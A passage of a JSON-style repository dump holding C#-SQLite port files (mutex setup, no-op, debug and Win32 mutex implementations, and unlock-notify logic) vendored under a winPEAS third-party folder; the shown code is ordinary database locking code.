sqlite3MutexInit()\n{\nint rc = SQLITE_OK;\nif (  sqlite3GlobalConfig.bCoreMutex   )\n{\nif (  sqlite3GlobalConfig.mutex.xMutexAlloc != null )\n{\n/* If the xMutexAlloc method has not been set, then the user did not\n** install a mutex implementation via sqlite3_config() prior to\n** sqlite3_initialize() being called. This block copies pointers to\n** the default implementation into the sqlite3Config structure.\n**\n*/\nsqlite3_mutex_methods p = sqlite3DefaultMutex();\nsqlite3_mutex_methods pTo = sqlite3GlobalConfig.mutex;\n\n memcpy(pTo, pFrom, offsetof(sqlite3_mutex_methods, xMutexAlloc));\n      memcpy(&pTo->xMutexFree, &pFrom->xMutexFree,\n             sizeof(*pTo) - offsetof(sqlite3_mutex_methods, xMutexFree));\n      pTo->xMutexAlloc = pFrom->xMutexAlloc;\n}\n    rc =  sqlite3GlobalConfig.mutex.xMutexInit();\n}\n\nreturn rc;\n}\n\n/*\n** Shutdown the mutex system. This call frees resources allocated by\n** sqlite3MutexInit().\n*/\nstatic int sqlite3MutexEnd()\n{\nint rc = SQLITE_OK;\nif( sqlite3GlobalConfig.mutex.xMutexEnd ){\nrc = sqlite3GlobalConfig.mutex.xMutexEnd();\n}\nreturn rc;\n}\n\n/*\n** Retrieve a pointer to a static mutex or allocate a new dynamic one.\n*/\nstatic sqlite3_mutex sqlite3_mutex_alloc( int id )\n{\n#if !SQLITE_OMIT_AUTOINIT\nif ( sqlite3_initialize() != 0 ) return null;\n#endif\nreturn  sqlite3GlobalConfig.mutex.xMutexAlloc( id );\n}\n\nstatic sqlite3_mutex sqlite3MutexAlloc( int id )\n{\nif ( ! sqlite3GlobalConfig.bCoreMutex   )\n{\nreturn null;\n}\nreturn  sqlite3GlobalConfig.mutex.xMutexAlloc( id );\n}\n\n/*\n** Free a dynamic mutex.\n*/\nstatic void sqlite3_mutex_free( ref sqlite3_mutex p )\n{\nif ( p != null )\n{\nsqlite3GlobalConfig.mutex.xMutexFree( p );\n}\n}\n\n/*\n** Obtain the mutex p. If some other thread already has the mutex, block\n** until it can be obtained.\n*/\nstatic void sqlite3_mutex_enter( sqlite3_mutex p )\n{\nif ( p != null )\n{\nsqlite3GlobalConfig.mutex.xMutexEnter( p );\n}\n}\n\n/*\n** Obtain the mutex p. If successful, return SQLITE_OK. Otherwise, if another\n** thread holds the mutex and it cannot be obtained, return SQLITE_BUSY.\n*/\nstatic int sqlite3_mutex_try( sqlite3_mutex p )\n{\nint rc = SQLITE_OK;\nif ( p != null )\n{\nreturn  sqlite3GlobalConfig.mutex.xMutexTry( p );\n}\nreturn rc;\n}\n\n/*\n** The sqlite3_mutex_leave() routine exits a mutex that was previously\n** entered by the same thread.  The behavior is undefined if the mutex\n** is not currently entered. If a NULL pointer is passed as an argument\n** this function is a no-op.\n*/\nstatic void sqlite3_mutex_leave( sqlite3_mutex p )\n{\nif ( p != null )\n{\nsqlite3GlobalConfig.mutex.xMutexLeave( p );\n}\n}\n\n#if !NDEBUG\n/*\n** The sqlite3_mutex_held() and sqlite3_mutex_notheld() routine are\n** intended for use inside Debug.Assert() statements.\n*/\nstatic bool sqlite3_mutex_held( sqlite3_mutex p )\n{\nreturn ( p == null ||  sqlite3GlobalConfig.mutex.xMutexHeld( p ) != 0 ) ;\n}\nstatic bool sqlite3_mutex_notheld( sqlite3_mutex p )\n{\nreturn ( p == null ||  sqlite3GlobalConfig.mutex.xMutexNotheld( p ) != 0 ) ;\n}\n#endif\n\n#endif //* SQLITE_OMIT_MUTEX */\n  }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/mutex_h.cs",
    "content": "#define SQLITE_OS_WIN\n\nnamespace winPEAS._3rdParty.SQLite.src\n{\n  public partial class CSSQLite\n  {\n    /*\n    ** 2007 August 28\n    **\n    ** The author disclaims copyright to this source code.  In place of\n    ** a legal notice, here is a blessing:\n    **\n    **    May you do good and not evil.\n    **    May you find forgiveness for yourself and forgive others.\n    **    May you share freely, never taking more than you give.\n    **\n    *************************************************************************\n    **\n    ** This file contains the common header for all mutex implementations.\n    ** The sqliteInt.h header #includes this file so that it is available\n    ** to all source files.  We break it out in an effort to keep the code\n    ** better organized.\n    **\n    ** NOTE:  source files should *not* #include this header file directly.\n    ** Source files should #include the sqliteInt.h file and let that file\n    ** include this one indirectly.\n    **\n    ** $Id: mutex.h,v 1.9 2008/10/07 15:25:48 drh Exp $\n    **\n    *************************************************************************\n    **  Included in SQLite3 port to C#-SQLite;  2008 Noah B Hart\n    **  C#-SQLite is an independent reimplementation of the SQLite software library\n    **\n    **  $Header$\n    *************************************************************************\n    */\n\n\n    /*\n    ** Figure out what version of the code to use.  The choices are\n    **\n    **   SQLITE_MUTEX_OMIT         No mutex logic.  Not even stubs.  The\n    **                             mutexes implemention cannot be overridden\n    **                             at start-time.\n    **\n    **   SQLITE_MUTEX_NOOP         For single-threaded applications.  No\n    **                             mutual exclusion is provided.  But this\n    **                             implementation can be overridden at\n    **                             start-time.\n    **\n    **   SQLITE_MUTEX_PTHREADS     For multi-threaded applications on Unix.\n    **\n    **   SQLITE_MUTEX_W32          For multi-threaded applications on Win32.\n    **\n    **   SQLITE_MUTEX_OS2          For multi-threaded applications on OS/2.\n    */\n\n    //#if !SQLITE_THREADSAFE\n    //# define SQLITE_MUTEX_OMIT\n    //#endif\n    //#if SQLITE_THREADSAFE && !defined(SQLITE_MUTEX_NOOP)\n    //#  if SQLITE_OS_UNIX\n    //#    define SQLITE_MUTEX_PTHREADS\n    //#  elif SQLITE_OS_WIN\n    //#    define SQLITE_MUTEX_W32\n    //#  elif SQLITE_OS_OS2\n    //#    define SQLITE_MUTEX_OS2\n    //#  else\n    //#    define SQLITE_MUTEX_NOOP\n    //#  endif\n    //#endif\n\n\n#if SQLITE_MUTEX_OMIT\n    /*\n** If this is a no-op implementation, implement everything as macros.\n*/\n    public class sqlite3_mutex { }\n    static sqlite3_mutex mutex = null;  //sqlite3_mutex sqlite3_mutex;\n    static sqlite3_mutex sqlite3MutexAlloc( int iType ) { return new sqlite3_mutex(); }//#define sqlite3MutexAlloc(X)      ((sqlite3_mutex*)8)\n    static sqlite3_mutex sqlite3_mutex_alloc( int iType ) { return new sqlite3_mutex(); }//#define sqlite3_mutex_alloc(X)    ((sqlite3_mutex*)8)\n    static void sqlite3_mutex_free( ref sqlite3_mutex m ) { }          //#define sqlite3_mutex_free(X)\n    static void sqlite3_mutex_enter( sqlite3_mutex m ) { }            //#define sqlite3_mutex_enter(X)\n    static int sqlite3_mutex_try( int iType ) { return SQLITE_OK; }   //#define sqlite3_mutex_try(X)      SQLITE_OK\n    static void sqlite3_mutex_leave( sqlite3_mutex m ) { }            //#define sqlite3_mutex_leave(X)\n    static bool sqlite3_mutex_held( sqlite3_mutex m ) { return true; }//#define sqlite3_mutex_held(X)     1\n    static bool sqlite3_mutex_notheld( sqlite3_mutex m ) { return true; }   //#define sqlite3_mutex_notheld(X)  1\n    static int sqlite3MutexInit() { return SQLITE_OK; }              //#define sqlite3MutexInit()        SQLITE_OK\n    static void sqlite3MutexEnd() { }                                //#define sqlite3MutexEnd()\n#endif //* defined(SQLITE_OMIT_MUTEX) */\n  }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/mutex_noop_c.cs",
    "content": "namespace winPEAS._3rdParty.SQLite.src\n{\n  public partial class CSSQLite\n  {\n    /*\n    ** 2008 October 07\n    **\n    ** The author disclaims copyright to this source code.  In place of\n    ** a legal notice, here is a blessing:\n    **\n    **    May you do good and not evil.\n    **    May you find forgiveness for yourself and forgive others.\n    **    May you share freely, never taking more than you give.\n    **\n    *************************************************************************\n    ** This file contains the C functions that implement mutexes.\n    **\n    ** This implementation in this file does not provide any mutual\n    ** exclusion and is thus suitable for use only in applications\n    ** that use SQLite in a single thread.  The routines defined\n    ** here are place-holders.  Applications can substitute working\n    ** mutex routines at start-time using the\n    **\n    **     sqlite3_config(SQLITE_CONFIG_MUTEX,...)\n    **\n    ** interface.\n    **\n    ** If compiled with SQLITE_DEBUG, then additional logic is inserted\n    ** that does error checking on mutexes to make sure they are being\n    ** called correctly.\n    **\n    ** $Id: mutex_noop.c,v 1.3 2008/12/05 17:17:08 drh Exp $\n    **\n    *************************************************************************\n    **  Included in SQLite3 port to C#-SQLite;  2008 Noah B Hart\n    **  C#-SQLite is an independent reimplementation of the SQLite software library\n    **\n    **  $Header$\n    *************************************************************************\n    */\n    //#include \"sqliteInt.h\"\n\n\n#if (SQLITE_MUTEX_NOOP) && !(SQLITE_DEBUG)\n/*\n** Stub routines for all mutex methods.\n**\n** This routines provide no mutual exclusion or error checking.\n*/\nstatic int noopMutexHeld(sqlite3_mutex *p){ return 1; }\nstatic int noopMutexNotheld(sqlite3_mutex *p){ return 1; }\nstatic int noopMutexInit(void){ return SQLITE_OK; }\nstatic int noopMutexEnd(void){ return SQLITE_OK; }\nstatic sqlite3_mutex *noopMutexAlloc(int id){ return (sqlite3_mutex*)8; }\nstatic void noopMutexFree(sqlite3_mutex *p){ return; }\nstatic void noopMutexEnter(sqlite3_mutex *p){ return; }\nstatic int noopMutexTry(sqlite3_mutex *p){ return SQLITE_OK; }\nstatic void noopMutexLeave(sqlite3_mutex *p){ return; }\n\nsqlite3_mutex_methods *sqlite3DefaultMutex(void){\nstatic sqlite3_mutex_methods sMutex = {\nnoopMutexInit,\nnoopMutexEnd,\nnoopMutexAlloc,\nnoopMutexFree,\nnoopMutexEnter,\nnoopMutexTry,\nnoopMutexLeave,\n\nnoopMutexHeld,\nnoopMutexNotheld\n};\n\nreturn &sMutex;\n}\n#endif //* defined(SQLITE_MUTEX_NOOP) && !defined(SQLITE_DEBUG) */\n\n#if (SQLITE_MUTEX_NOOP) && (SQLITE_DEBUG)\n/*\n** In this implementation, error checking is provided for testing\n** and debugging purposes.  The mutexes still do not provide any\n** mutual exclusion.\n*/\n\n/*\n** The mutex object\n*/\nstruct sqlite3_mutex {\nint id;     /* The mutex type */\nint cnt;    /* Number of entries without a matching leave */\n};\n\n/*\n** The sqlite3_mutex_held() and sqlite3_mutex_notheld() routine are\n** intended for use inside Debug.Assert() statements.\n*/\nstatic int debugMutexHeld(sqlite3_mutex *p){\nreturn p==0 || p->cnt>0;\n}\nstatic int debugMutexNotheld(sqlite3_mutex *p){\nreturn p==0 || p->cnt==0;\n}\n\n/*\n** Initialize and deinitialize the mutex subsystem.\n*/\nstatic int debugMutexInit(void){ return SQLITE_OK; }\nstatic int debugMutexEnd(void){ return SQLITE_OK; }\n\n/*\n** The sqlite3_mutex_alloc() routine allocates a new\n** mutex and returns a pointer to it.  If it returns NULL\n** that means that a mutex could not be allocated.\n*/\nstatic sqlite3_mutex *debugMutexAlloc(int id){\nstatic sqlite3_mutex aStatic[6];\nsqlite3_mutex *pNew = 0;\nswitch( id ){\ncase SQLITE_MUTEX_FAST:\ncase SQLITE_MUTEX_RECURSIVE: {\npNew = sqlite3Malloc(sizeof(*pNew));\nif( pNew ){\npNew->id = id;\npNew->cnt = 0;\n}\nbreak;\n}\ndefault: {\nDebug.Assert( id-2 >= 0 );\nassert( id-2 < (int)(sizeof(aStatic)/sizeof(aStatic[0])) );\npNew = &aStatic[id-2];\npNew->id = id;\nbreak;\n}\n}\nreturn pNew;\n}\n\n/*\n** This routine deallocates a previously allocated mutex.\n*/\nstatic void debugMutexFree(sqlite3_mutex *p){\nDebug.Assert( p->cnt==0 );\nDebug.Assert( p->id==SQLITE_MUTEX_FAST || p->id==SQLITE_MUTEX_RECURSIVE );\n//sqlite3_free(ref p);\n}\n\n/*\n** The sqlite3_mutex_enter() and sqlite3_mutex_try() routines attempt\n** to enter a mutex.  If another thread is already within the mutex,\n** sqlite3_mutex_enter() will block and sqlite3_mutex_try() will return\n** SQLITE_BUSY.  The sqlite3_mutex_try() interface returns SQLITE_OK\n** upon successful entry.  Mutexes created using SQLITE_MUTEX_RECURSIVE can\n** be entered multiple times by the same thread.  In such cases the,\n** mutex must be exited an equal number of times before another thread\n** can enter.  If the same thread tries to enter any other kind of mutex\n** more than once, the behavior is undefined.\n*/\nstatic void debugMutexEnter(sqlite3_mutex *p){\nDebug.Assert( p->id==SQLITE_MUTEX_RECURSIVE || debugMutexNotheld(p) );\np->cnt++;\n}\nstatic int debugMutexTry(sqlite3_mutex *p){\nDebug.Assert( p->id==SQLITE_MUTEX_RECURSIVE || debugMutexNotheld(p) );\np->cnt++;\nreturn SQLITE_OK;\n}\n\n/*\n** The sqlite3_mutex_leave() routine exits a mutex that was\n** previously entered by the same thread.  The behavior\n** is undefined if the mutex is not currently entered or\n** is not currently allocated.  SQLite will never do either.\n*/\nstatic void debugMutexLeave(sqlite3_mutex *p){\nDebug.Assert( debugMutexHeld(p) );\np->cnt--;\nDebug.Assert( p->id==SQLITE_MUTEX_RECURSIVE || debugMutexNotheld(p) );\n}\n\nsqlite3_mutex_methods *sqlite3DefaultMutex(void){\nstatic sqlite3_mutex_methods sMutex = {\ndebugMutexInit,\ndebugMutexEnd,\ndebugMutexAlloc,\ndebugMutexFree,\ndebugMutexEnter,\ndebugMutexTry,\ndebugMutexLeave,\n\ndebugMutexHeld,\ndebugMutexNotheld\n};\n\nreturn &sMutex;\n}\n#endif //* (SQLITE_MUTEX_NOOP) && (SQLITE_DEBUG) */\n  }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/mutex_w32.cs",
    "content": "namespace winPEAS._3rdParty.SQLite.src\n{\n  public partial class CSSQLite\n  {\n    /*\n    ** 2007 August 14\n    **\n    ** The author disclaims copyright to this source code.  In place of\n    ** a legal notice, here is a blessing:\n    **\n    **    May you do good and not evil.\n    **    May you find forgiveness for yourself and forgive others.\n    **    May you share freely, never taking more than you give.\n    **\n    *************************************************************************\n    ** This file contains the C functions that implement mutexes for win32\n    **\n    ** $Id: mutex_w32.c,v 1.18 2009/08/10 03:23:21 shane Exp $\n    **\n    *************************************************************************\n    **  Included in SQLite3 port to C#-SQLite;  2008 Noah B Hart\n    **  C#-SQLite is an independent reimplementation of the SQLite software library\n    **\n    **  $Header$\n    *************************************************************************\n    */\n    //#include \"sqliteInt.h\"\n\n    /*\n    ** The code in this file is only used if we are compiling multithreaded\n    ** on a win32 system.\n    */\n#if SQLITE_MUTEX_W32\n\n\n/*\n** Each recursive mutex is an instance of the following structure.\n*/\nstruct sqlite3_mutex {\nCRITICAL_SECTION mutex;    /* Mutex controlling the lock */\nint id;                    /* Mutex type */\nint nRef;                  /* Number of enterances */\nDWORD owner;               /* Thread holding this mutex */\n};\n\n/*\n** Return true (non-zero) if we are running under WinNT, Win2K, WinXP,\n** or WinCE.  Return false (zero) for Win95, Win98, or WinME.\n**\n** Here is an interesting observation:  Win95, Win98, and WinME lack\n** the LockFileEx() API.  But we can still statically link against that\n** API as long as we don't call it win running Win95/98/ME.  A call to\n** this routine is used to determine if the host is Win95/98/ME or\n** WinNT/2K/XP so that we will know whether or not we can safely call\n** the LockFileEx() API.\n**\n** mutexIsNT() is only used for the TryEnterCriticalSection() API call,\n** which is only available if your application was compiled with\n** _WIN32_WINNT defined to a value >= 0x0400.  Currently, the only\n** call to TryEnterCriticalSection() is #ifdef'ed out, so #if\n** this out as well.\n*/\n#if FALSE\n#if SQLITE_OS_WINCE\n//# define mutexIsNT()  (1)\n#else\nstatic int mutexIsNT(void){\nstatic int osType = 0;\nif( osType==0 ){\nOSVERSIONINFO sInfo;\nsInfo.dwOSVersionInfoSize = sizeof(sInfo);\nGetVersionEx(&sInfo);\nosType = sInfo.dwPlatformId==VER_PLATFORM_WIN32_NT ? 2 : 1;\n}\nreturn osType==2;\n}\n#endif //* SQLITE_OS_WINCE */\n#endif\n\n#if SQLITE_DEBUG\n/*\n** The sqlite3_mutex_held() and sqlite3_mutex_notheld() routine are\n** intended for use only inside Debug.Assert() statements.\n*/\nstatic int winMutexHeld(sqlite3_mutex p){\nreturn p.nRef!=0 && p.owner==GetCurrentThreadId();\n}\nstatic int winMutexNotheld(sqlite3_mutex p){\nreturn p.nRef==0 || p.owner!=GetCurrentThreadId();\n}\n#endif\n\n\n/*\n** Initialize and deinitialize the mutex subsystem.\n*/\nstatic sqlite3_mutex winMutex_staticMutexes[6];\nstatic int winMutex_isInit = 0;\n/* As winMutexInit() and winMutexEnd() are called as part\n** of the sqlite3_initialize and sqlite3_shutdown()\n** processing, the \"interlocked\" magic is probably not\n** strictly necessary.\n*/\nstatic long winMutex_lock = 0;\n\nstatic int winMutexInit(void){\n/* The first to increment to 1 does actual initialization */\nif( InterlockedCompareExchange(winMutex_lock, 1, 0)==0 ){\nint i;\nfor(i=0; i<sizeof(winMutex_staticMutexes)/sizeof(winMutex_staticMutexes[0]); i++){\nInitializeCriticalSection(&winMutex_staticMutexes[i].mutex);\n}\nwinMutex_isInit = 1;\n}else{\n/* Someone else is in the process of initing the static mutexes */\nwhile( !winMutex_isInit ){\nSleep(1);\n}\n}\nreturn SQLITE_OK;\n}\n\nstatic int winMutexEnd(void){\n/* The first to decrement to 0 does actual shutdown\n** (which should be the last to shutdown.) */\nif( InterlockedCompareExchange(winMutex_lock, 0, 1)==1 ){\nif( winMutex_isInit==1 ){\nint i;\nfor(i=0; i<sizeof(winMutex_staticMutexes)/sizeof(winMutex_staticMutexes[0]); i++){\nDeleteCriticalSection(&winMutex_staticMutexes[i].mutex);\n}\nwinMutex_isInit = 0;\n}\n}\nreturn SQLITE_OK;\n}\n\n/*\n** The sqlite3_mutex_alloc() routine allocates a new\n** mutex and returns a pointer to it.  If it returns NULL\n** that means that a mutex could not be allocated.  SQLite\n** will unwind its stack and return an error.  The argument\n** to sqlite3_mutex_alloc() is one of these integer constants:\n**\n** <ul>\n** <li>  SQLITE_MUTEX_FAST               0\n** <li>  SQLITE_MUTEX_RECURSIVE          1\n** <li>  SQLITE_MUTEX_STATIC_MASTER      2\n** <li>  SQLITE_MUTEX_STATIC_MEM         3\n** <li>  SQLITE_MUTEX_STATIC_PRNG        4\n** </ul>\n**\n** The first two constants cause sqlite3_mutex_alloc() to create\n** a new mutex.  The new mutex is recursive when SQLITE_MUTEX_RECURSIVE\n** is used but not necessarily so when SQLITE_MUTEX_FAST is used.\n** The mutex implementation does not need to make a distinction\n** between SQLITE_MUTEX_RECURSIVE and SQLITE_MUTEX_FAST if it does\n** not want to.  But SQLite will only request a recursive mutex in\n** cases where it really needs one.  If a faster non-recursive mutex\n** implementation is available on the host platform, the mutex subsystem\n** might return such a mutex in response to SQLITE_MUTEX_FAST.\n**\n** The other allowed parameters to sqlite3_mutex_alloc() each return\n** a pointer to a static preexisting mutex.  Three static mutexes are\n** used by the current version of SQLite.  Future versions of SQLite\n** may add additional static mutexes.  Static mutexes are for internal\n** use by SQLite only.  Applications that use SQLite mutexes should\n** use only the dynamic mutexes returned by SQLITE_MUTEX_FAST or\n** SQLITE_MUTEX_RECURSIVE.\n**\n** Note that if one of the dynamic mutex parameters (SQLITE_MUTEX_FAST\n** or SQLITE_MUTEX_RECURSIVE) is used then sqlite3_mutex_alloc()\n** returns a different mutex on every call.  But for the static\n** mutex types, the same mutex is returned on every call that has\n** the same type number.\n*/\nstatic sqlite3_mutex *winMutexAlloc(int iType){\nsqlite3_mutex p;\n\nswitch( iType ){\ncase SQLITE_MUTEX_FAST:\ncase SQLITE_MUTEX_RECURSIVE: {\np = sqlite3MallocZero( sizeof(*p) );\nif( p ){\np.id = iType;\nInitializeCriticalSection(p.mutex);\n}\nbreak;\n}\ndefault: {\nDebug.Assert( winMutex_isInit==1 );\nDebug.Assert(iType-2 >= 0 );\nassert( iType-2 < sizeof(winMutex_staticMutexes)/sizeof(winMutex_staticMutexes[0]) );\np = &winMutex_staticMutexes[iType-2];\np.id = iType;\nbreak;\n}\n}\nreturn p;\n}\n\n\n/*\n** This routine deallocates a previously\n** allocated mutex.  SQLite is careful to deallocate every\n** mutex that it allocates.\n*/\nstatic void winMutexFree(sqlite3_mutex p){\nDebug.Assert(p );\nDebug.Assert(p.nRef==0 );\nDebug.Assert(p.id==SQLITE_MUTEX_FAST || p.id==SQLITE_MUTEX_RECURSIVE );\nDeleteCriticalSection(p.mutex);\n//sqlite3DbFree(db,p);\n}\n\n/*\n** The sqlite3_mutex_enter() and sqlite3_mutex_try() routines attempt\n** to enter a mutex.  If another thread is already within the mutex,\n** sqlite3_mutex_enter() will block and sqlite3_mutex_try() will return\n** SQLITE_BUSY.  The sqlite3_mutex_try() interface returns SQLITE_OK\n** upon successful entry.  Mutexes created using SQLITE_MUTEX_RECURSIVE can\n** be entered multiple times by the same thread.  In such cases the,\n** mutex must be exited an equal number of times before another thread\n** can enter.  If the same thread tries to enter any other kind of mutex\n** more than once, the behavior is undefined.\n*/\nstatic void winMutexEnter(sqlite3_mutex p){\nDebug.Assert(p.id==SQLITE_MUTEX_RECURSIVE || winMutexNotheld(p) );\nEnterCriticalSection(p.mutex);\np.owner = GetCurrentThreadId();\np.nRef++;\n}\nstatic int winMutexTry(sqlite3_mutex p){\nint rc = SQLITE_BUSY;\nDebug.Assert(p.id==SQLITE_MUTEX_RECURSIVE || winMutexNotheld(p) );\n/*\n** The sqlite3_mutex_try() routine is very rarely used, and when it\n** is used it is merely an optimization.  So it is OK for it to always\n** fail.\n**\n** The TryEnterCriticalSection() interface is only available on WinNT.\n** And some windows compilers complain if you try to use it without\n** first doing some #defines that prevent SQLite from building on Win98.\n** For that reason, we will omit this optimization for now.  See\n** ticket #2685.\n*/\n#if FALSE\nif( mutexIsNT() && TryEnterCriticalSection(p.mutex) ){\np.owner = GetCurrentThreadId();\np.nRef++;\nrc = SQLITE_OK;\n}\n#else\nUNUSED_PARAMETER(p);\n#endif\nreturn rc;\n}\n\n/*\n** The sqlite3_mutex_leave() routine exits a mutex that was\n** previously entered by the same thread.  The behavior\n** is undefined if the mutex is not currently entered or\n** is not currently allocated.  SQLite will never do either.\n*/\nstatic void winMutexLeave(sqlite3_mutex p){\nDebug.Assert(p.nRef>0 );\nDebug.Assert(p.owner==GetCurrentThreadId() );\np.nRef--;\nDebug.Assert(p.nRef==0 || p.id==SQLITE_MUTEX_RECURSIVE );\nLeaveCriticalSection(p.mutex);\n}\n\nsqlite3_mutex_methods *sqlite3DefaultMutex(void){\nstatic sqlite3_mutex_methods sMutex = {\nwinMutexInit,\nwinMutexEnd,\nwinMutexAlloc,\nwinMutexFree,\nwinMutexEnter,\nwinMutexTry,\nwinMutexLeave,\n#if SQLITE_DEBUG\nwinMutexHeld,\nwinMutexNotheld\n#else\nnull,\nnull\n#endif\n};\n\nreturn &sMutex;\n}\n#endif // * SQLITE_MUTEX_W32 */\n  }\n}\n\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/notify_c.cs",
    "content": "namespace winPEAS._3rdParty.SQLite.src\n{\n  public partial class CSSQLite\n  {\n    /*\n    ** 2009 March 3\n    **\n    ** The author disclaims copyright to this source code.  In place of\n    ** a legal notice, here is a blessing:\n    **\n    **    May you do good and not evil.\n    **    May you find forgiveness for yourself and forgive others.\n    **    May you share freely, never taking more than you give.\n    **\n    *************************************************************************\n    **\n    ** This file contains the implementation of the sqlite3_unlock_notify()\n    ** API method and its associated functionality.\n    **\n    ** $Id: notify.c,v 1.4 2009/04/07 22:06:57 drh Exp $\n    **\n    *************************************************************************\n    **  Included in SQLite3 port to C#-SQLite;  2008 Noah B Hart\n    **  C#-SQLite is an independent reimplementation of the SQLite software library\n    **\n    **  $Header$\n    *************************************************************************\n    */\n    //#include \"sqliteInt.h\"\n    //#include \"btreeInt.h\"\n\n    /* Omit this entire file if SQLITE_ENABLE_UNLOCK_NOTIFY is not defined. */\n#if SQLITE_ENABLE_UNLOCK_NOTIFY\n\n/*\n** Public interfaces:\n**\n**   sqlite3ConnectionBlocked()\n**   sqlite3ConnectionUnlocked()\n**   sqlite3ConnectionClosed()\n**   sqlite3_unlock_notify()\n*/\n\n//#define assertMutexHeld() \\\nassert( sqlite3_mutex_held(sqlite3MutexAlloc(SQLITE_MUTEX_STATIC_MASTER)) )\n\n/*\n** Head of a linked list of all sqlite3 objects created by this process\n** for which either sqlite3.pBlockingConnection or sqlite3.pUnlockConnection\n** is not NULL. This variable may only accessed while the STATIC_MASTER\n** mutex is held.\n*/\nstatic sqlite3 *SQLITE_WSD sqlite3BlockedList = 0;\n\n#if !NDEBUG\n/*\n** This function is a complex assert() that verifies the following\n** properties of the blocked connections list:\n**\n**   1) Each entry in the list has a non-NULL value for either\n**      pUnlockConnection or pBlockingConnection, or both.\n**\n**   2) All entries in the list that share a common value for\n**      xUnlockNotify are grouped together.\n**\n**   3) If the argument db is not NULL, then none of the entries in the\n**      blocked connections list have pUnlockConnection or pBlockingConnection\n**      set to db. This is used when closing connection db.\n*/\nstatic void checkListProperties(sqlite3 *db){\nsqlite3 *p;\nfor(p=sqlite3BlockedList; p; p=p->pNextBlocked){\nint seen = 0;\nsqlite3 *p2;\n\n/* Verify property (1) */\nassert( p->pUnlockConnection || p->pBlockingConnection );\n\n/* Verify property (2) */\nfor(p2=sqlite3BlockedList; p2!=p; p2=p2->pNextBlocked){\nif( p2->xUnlockNotify==p->xUnlockNotify ) seen = 1;\nassert( p2->xUnlockNotify==p->xUnlockNotify || !seen );\nassert( db==0 || p->pUnlockConnection!=db );\nassert( db==0 || p->pBlockingConnection!=db );\n}\n}\n}\n#else\n//# define checkListProperties(x)\n#endif\n\n/*\n** Remove connection db from the blocked connections list. If connection\n** db is not currently a part of the list, this function is a no-op.\n*/\nstatic void removeFromBlockedList(sqlite3 *db){\nsqlite3 **pp;\nassertMutexHeld();\nfor(pp=&sqlite3BlockedList; *pp; pp = &(*pp)->pNextBlocked){\nif( *pp==db ){\n*pp = (*pp)->pNextBlocked;\nbreak;\n}\n}\n}\n\n/*\n** Add connection db to the blocked connections list. It is assumed\n** that it is not already a part of the list.\n*/\nstatic void addToBlockedList(sqlite3 *db){\nsqlite3 **pp;\nassertMutexHeld();\nfor(\npp=&sqlite3BlockedList;\n*pp && (*pp)->xUnlockNotify!=db->xUnlockNotify;\npp=&(*pp)->pNextBlocked\n);\ndb->pNextBlocked = *pp;\n*pp = db;\n}\n\n/*\n** Obtain the STATIC_MASTER mutex.\n*/\nstatic void enterMutex(){\nsqlite3_mutex_enter(sqlite3MutexAlloc(SQLITE_MUTEX_STATIC_MASTER));\ncheckListProperties(0);\n}\n\n/*\n** Release the STATIC_MASTER mutex.\n*/\nstatic void leaveMutex(){\nassertMutexHeld();\ncheckListProperties(0);\nsqlite3_mutex_leave(sqlite3MutexAlloc(SQLITE_MUTEX_STATIC_MASTER));\n}\n\n/*\n** Register an unlock-notify callback.\n**\n** This is called after connection \"db\" has attempted some operation\n** but has received an SQLITE_LOCKED error because another connection\n** (call it pOther) in the same process was busy using the same shared\n** cache.  pOther is found by looking at db->pBlockingConnection.\n**\n** If there is no blocking connection, the callback is invoked immediately,\n** before this routine returns.\n**\n** If pOther is already blocked on db, then report SQLITE_LOCKED, to indicate\n** a deadlock.\n**\n** Otherwise, make arrangements to invoke xNotify when pOther drops\n** its locks.\n**\n** Each call to this routine overrides any prior callbacks registered\n** on the same \"db\".  If xNotify==0 then any prior callbacks are immediately\n** cancelled.\n*/\nint sqlite3_unlock_notify(\nsqlite3 *db,\nvoid (*xNotify)(void **, int),\nvoid *pArg\n){\nint rc = SQLITE_OK;\n\nsqlite3_mutex_enter(db->mutex);\nenterMutex();\n\nif( xNotify==0 ){\nremoveFromBlockedList(db);\ndb->pUnlockConnection = 0;\ndb->xUnlockNotify = 0;\ndb->pUnlockArg = 0;\n}else if( 0==db->pBlockingConnection ){\n/* The blocking transaction has been concluded. Or there never was a\n** blocking transaction. In either case, invoke the notify callback\n** immediately.\n*/\nxNotify(&pArg, 1);\n}else{\nsqlite3 *p;\n\nfor(p=db->pBlockingConnection; p && p!=db; p=p->pUnlockConnection){}\nif( p ){\nrc = SQLITE_LOCKED;              /* Deadlock detected. */\n}else{\ndb->pUnlockConnection = db->pBlockingConnection;\ndb->xUnlockNotify = xNotify;\ndb->pUnlockArg = pArg;\nremoveFromBlockedList(db);\naddToBlockedList(db);\n}\n}\n\nleaveMutex();\nassert( !db->mallocFailed );\nsqlite3Error(db, rc, (rc?\"database is deadlocked\":0));\nsqlite3_mutex_leave(db->mutex);\nreturn rc;\n}\n\n/*\n** This function is called while stepping or preparing a statement\n** associated with connection db. The operation will return SQLITE_LOCKED\n** to the user because it requires a lock that will not be available\n** until connection pBlocker concludes its current transaction.\n*/\nvoid sqlite3ConnectionBlocked(sqlite3 *db, sqlite3 *pBlocker){\nenterMutex();\nif( db->pBlockingConnection==0 && db->pUnlockConnection==0 ){\naddToBlockedList(db);\n}\ndb->pBlockingConnection = pBlocker;\nleaveMutex();\n}\n\n/*\n** This function is called when\n** the transaction opened by database db has just finished. Locks held\n** by database connection db have been released.\n**\n** This function loops through each entry in the blocked connections\n** list and does the following:\n**\n**   1) If the sqlite3.pBlockingConnection member of a list entry is\n**      set to db, then set pBlockingConnection=0.\n**\n**   2) If the sqlite3.pUnlockConnection member of a list entry is\n**      set to db, then invoke the configured unlock-notify callback and\n**      set pUnlockConnection=0.\n**\n**   3) If the two steps above mean that pBlockingConnection==0 and\n**      pUnlockConnection==0, remove the entry from the blocked connections\n**      list.\n*/\nvoid sqlite3ConnectionUnlocked(sqlite3 *db){\nvoid (*xUnlockNotify)(void **, int) = 0; /* Unlock-notify cb to invoke */\nint nArg = 0;                            /* Number of entries in aArg[] */\nsqlite3 **pp;                            /* Iterator variable */\nvoid **aArg;               /* Arguments to the unlock callback */\nvoid **aDyn = 0;           /* Dynamically allocated space for aArg[] */\nvoid *aStatic[16];         /* Starter space for aArg[].  